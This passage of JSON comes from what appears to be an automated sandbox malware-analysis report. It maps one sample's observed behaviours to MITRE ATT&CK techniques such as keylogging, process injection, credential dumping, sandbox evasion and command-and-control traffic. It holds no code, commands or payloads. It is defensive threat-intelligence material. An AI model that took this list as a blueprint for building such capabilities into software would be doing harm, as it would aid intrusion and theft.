information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Contains ability to retrieve information about MS-DOS device names (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Tries to enumerate objects using PowerShell"},{"type":"informative","value":"Contains ability to query the machine version"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Collection","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"},{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access Powershell profile file"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries for Borland Delphi related registry entry"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Contains reference to Borland Delphi related registry entry"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"},{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"},{"type":"informative","value":"Imports windows networking-related APIs"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"},{"type":"informative","value":"Contains ability to retrieve internet cache entries (API string)"},{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to execute application using Windows wscript shell (JSP)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes shellcode to a remote process"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Domain Trust Discovery","attack_id":"T1482","attack_id_wiki":"https://attack.mitre.org/techniques/T1482","identifiers":[{"type":"informative","value":"Contains ability to retrieve Domain Trust data (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to lookup the windows account name"},{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"},{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Contains ability to run commands or expressions (Powershell command string)"},{"type":"informative","value":"Executes PowerShell with command line"},{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"malicious","value":"Powershell script shows a combination of malicious behavior"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"},{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"malicious","value":"Found shellcode in interpreted commandline"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Persistence","technique":"Path Interception by PATH Environment Variable","attack_id":"T1574.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/007","identifiers":[{"type":"informative","value":"References PATH environment registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"PE file contains zero-sized sections"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Able to detect virtual machine (string)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Mshta","attack_id":"T1218.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1218/005","identifiers":[{"type":"malicious","value":"Detected mshta.exe process execution"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Masquerade File Type","attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"},{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6a8d013343b5f855fd09bcf0"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API 